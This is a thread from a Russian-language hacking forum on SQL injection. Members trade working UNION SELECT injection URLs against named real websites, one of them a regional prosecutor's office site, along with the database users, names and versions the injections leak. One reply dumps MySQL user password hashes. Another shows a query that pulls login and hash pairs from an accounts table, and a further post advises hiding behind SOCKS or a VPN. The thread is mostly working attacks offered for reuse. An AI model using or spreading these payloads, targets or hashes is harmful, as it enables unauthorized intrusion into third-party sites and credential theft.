SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.kjerringoy.no/php/visside.php?id=-1+union+select+1,concat_ws(0x3a%20%20,user(),database(),version()),3,4,5,6--
    User: [email protected]
    Version: 4.1.22-standard-log
    Database: kjerring


    Google PR: 4
     
  2. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    тиц 2800 pr 5

    Code:
    http://uralpress.ru/fin/news.php?id=-14066+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8+--+
     
    2 people like this.
  3. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.villreinfangst.no/no/about.php?id=-2+union+select+1,concat_ws(0x3a%20%20,user(),database(),version()),3
    User: villrein_user@localhost
    Version: 5.0.90
    Database: villreinfangst

    Google PR: 4
     
    1 person likes this.
  4. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://kachkov.net/poll2/vote.php?rez=-5+or+1=2+union+all+select+1,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),user(),database(),@@version_compile_os),0x71),0x71),3--
    version:5.0.89-community-log
    user:kachkovn_kachkov@localhost
    database:kachkovn_vse
    os:unknown-linux-gnu
     
  5. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.ainimoobel.ee/title.php?id=-1+union+select+concat_ws(0x3a%20%20,user(),database(),version())--
    User: [email protected]
    Version: d3153sd2397
    Database: 5.1.37-log


    Code:
    http://www.apostrophegallery.com/08/panel.php?id=-1+union+select+1,2,3,concat_ws(0x3a%20%20,user(),database(),version()),5
    User: apostrophe@localhost
    Version: apostrophe_2008
    Database: 5.0.22-log
     
    1 person likes this.
  6. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.propool.ru/_tour/?gametype=-1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/concat_ws(0x3a,version(),user(),database(),@@version_compile_os)/**/--
    version:5.0.67-log
    user:[email protected]
    database:vh04971
    os:redhat-linux-gnu
     
    1 person likes this.
  7. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.liposuctionlistings.com/link.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a%20%20,user(),database(),version()),6+from+admin
    User: smart131_smart@localhost
    Version: 5.0.89-community
    Database: smart131_smart


    Code:
    http://www.retirevic.com.au/about.php?id=-1+union+select+1,concat_ws(0x3a%20%20,user(),database(),version()),3,4+from+rv_auth_user
    User: [email protected]
    Version: 5.0.45-community-log
    Database: retirmr_db
     
    4 people like this.
  8. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.izvmor.ru/?id_refer=1539&vr=1&id_ask=-32+union+select+1,2,3,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),user(),database()),0x71),0x71)--
    version:4.0.24_Debian-10sarge2-log
    user:cms@localhost
    database:izvmor
    os:pc-linux-gnu
     
    1 person likes this.
  9. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.arblackhalloffame.org/honorees/Page.asp?id=-2+union+select+1,2,3,concat_ws(0x3a%20%20,user(),database(),version()),5,6,7
    User: [email protected]
    Version: 4.0.27-max-log
    Database: arblackhall


    Code:
    http://www.watt-knots.com/admin/help.php?id=-2+union+select+1,concat_ws(0x3a%20%20,user(),database(),version()),3,4,5
    User: [email protected]
    Version: 4.0.27-max-log
    Database: db188864303
     
  10. BlackAndWh1te

    BlackAndWh1te New Member

    Joined:
    6 Jan 2010
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    http://www.mediaprovinces.kz/index.php?r=8c=174'9
     
  11. IgAlex

    IgAlex Member

    Joined:
    17 Nov 2008
    Messages:
    36
    Likes Received:
    27
    Reputations:
    8
    www.5pravil.ru

    Code:
    http://5pravil.ru/all_news.php?catId=0+union+all+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15--
    4.0.26-nt:data5:shopper@localhost

    не удалось сбрутить таблицу содержащую пароль к админке ((
    если у кого получится, скиньте в личку названия таблицы и полей
     
  12. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    таблица mysql.user
    user, password
    root:51cb69927e78ff6f
    shopper:6f28df956f7535ea
     
    1 person likes this.
  13. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.fuctifino.com/Shopping/help.php?id=-2+union+select+1,concat_ws(0x3a%20%20,user(),database(),version()),3,4
    User: [email protected]
    Version: 4.0.27-max-log
    Database: db100132634



    Code:
    http://arts.tealray.com/company.php?id=-2+union+select+1,concat_ws(0x3a%20%20,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+user
    User: [email protected]
    Version: 5.0.51a-3ubuntu5.1
    Database: arts
     
  14. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.sto64.ru/catalog/?&id=-69+and+1=2+union+all+select+1,2,3,4,5,6,7,8,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),user(),database(),@@version_compile_os),0x71),0x71),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--  
    version:5.0.77-log
    user:[email protected]
    database:studa009_prmo
    os:portbld-freebsd7.1
     
  15. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.navigatormp.com/staff_detail.php?id=-2+union+select+1,2,3,4,5,concat_ws(0x3a%20%20,user(),database(),version()),7,8,9,10,11,12,13
    
    User: [email protected]
    Version: 4.1.25-Debian_mt1
    Database: db43810_navigatormp_com
     
    1 person likes this.
  16. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.seaangels.ru/index.php?id=-5+and+1=2+union+all+select+1,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),3,4,5,6,7,8+--+
    version:5.0.90-log
    user:[email protected]
    database:u46830
    os:portbld-freebsd7.2
     
  17. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.binkrm.ru/index.php?id_raz=-677+union+select+1,2,3,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),5,6,7,8,9+--  
    version:5.0.75
    user:[email protected]
    database:b17071
    os : portbld-freebsd7.1
     
  18. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Прокуратура Московкой области.

    http://www.mosoblproc.ru/news/?id=-1328+UNION+SELECT+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),5,6

    Database Version: 5.0.87-log
    Database name: mosoblpr
    User name: [email protected]
    Os : freebsd6.4

    без носков или впн не лезть
     
    #11718 Gorev, 6 Apr 2010
    Last edited: 6 Apr 2010
    5 people like this.
  19. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Gorev
    спасибо что предупредил))))))

    Code:
    http://hard-ekt.ru/index.php?all_news&details=-282+and+1=2+union+all+select+1,2,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),4,5,6,7,8,9,10,11+--
    version:5.0.32-Debian_7etch10-log
    user:hard-ekt@localhost
    database:hard-ekt
    os : pc-linux-gnu

    Code:
    http://hard-ekt.ru/index.php?all_news&details=-282+and+1=2+union+all+select+1,2,concat_ws(0x3a,login,hash),4,5,6,7,8,9,10,11+from++wed_accounts+limit+1+offset+0--
     
    2 people like this.
  20. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.metallica.ru/news.php3?id=-500+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3--

    Database Version: 4.1.16
    Database name: meta2000
    User name: acillatem@localhost
    Os : redhat-linux-gnu
     
    1 person likes this.
Thread Status:
Not open for further replies.